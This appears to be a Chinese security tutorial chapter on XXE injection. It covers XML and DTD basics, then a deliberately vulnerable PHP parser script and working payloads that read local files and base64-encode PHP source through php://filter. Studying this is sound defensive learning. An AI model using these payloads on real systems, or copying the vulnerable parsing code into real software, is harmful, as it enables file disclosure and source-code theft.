08 XXE漏洞
8-1.XML快速入门
1)XML介绍及用途
XML被设计用来传输和存储数据。XML文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。XML允许创作者定义自己的标签和自己的文档结构。
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
2)XML语法规则
XML语法规则:
1、所有的XML元素都必须有一个关闭标签
2、XML标签对大小写敏感
3、XML必须正确嵌套
4、XML属性值必须加引号
5、实体引用
6、在XML中,空格会被保留
3)XML元素介绍
XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。
每个元素又可以有对应的属性。XML属性必须加引号
在1)中的代码可注意到:
XML文档必须有一个根元素
XML元素都必须有一个关闭标签
XML标签对大小写敏感
XML元素必须被正确的嵌套
XML属性值必须加引号
4)XML DTD介绍
拥有正确语法的XML被称为"形式良好"的XML。通过DTD验证的XML是"合法"的XML。
<?xml version="1.0" ?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
8-2.DTD快速入门
1)DTD声明类型
内部的DOCTYPE声明:<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0" ?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
外部文档声明:假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:<!DOCTYPE root-element SYSTEM "filename">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
其中note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
2)DTD数据类型
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA的意思是字符数据。CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
3)DTD实体介绍
实体是用于定义引用普通文本或特殊字符的快捷方式的变量
内部实体:<!ENTITY entity-name "entity-value">
外部实体:<!ENTITY entity-name SYSTEM "URI/URL">
4)XML注入产生原理
XXE漏洞全称XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
8-3.简单XXE漏洞代码编写
1)file_get_content函数介绍
file_get_contents()函数把整个文件读入一个字符串中。
2)php://input介绍
php://input 是个可以访问请求的原始数据的只读流。
结合file_get_contents("php://input")可以读取POST提交的数据。
案例说明:输出POST提交的内容。
3)simplexml_load_string函数介绍
php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement
例如:
$note = <<<XML<note> <to>Tove</to> <from>Jani</from>
<heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>XML;
$xml=simplexml_load_string($note);
print_r($xml);
4)XML注入回显 输出函数
在PHP中可以使用print_r()、echo输出想要输出的内容。
给出完整存在XXE漏洞代码:
<?php
$xml=file_get_contents("php://input");
$data=simplexml_load_string($xml);
echo "<pre>";
print_r($data); //注释掉该语句即为无回显得情况
echo "</pre>"
?>
读取本地文件payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<root>
<name>&xxe;</name>
</root>
8-4.XXE漏洞简单利用-任意文件读取
1)测试代码介绍
<?php
$xml=file_get_contents("php://input");
$data=simplexml_load_string($xml);
echo "<pre>";
print_r($data); //注释掉该语句即为无回显的情况
?>
2)php中测试POC
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
3)读取文本文档
有回显的XXE利用:
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/flag.txt">]>
<value>&xxe;</value>
4)读取PHP文件
直接利用file协议读取PHP文件会出现错误,那么需要使用base64编码来进行读取。
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">]>
<value>&xxe;</value>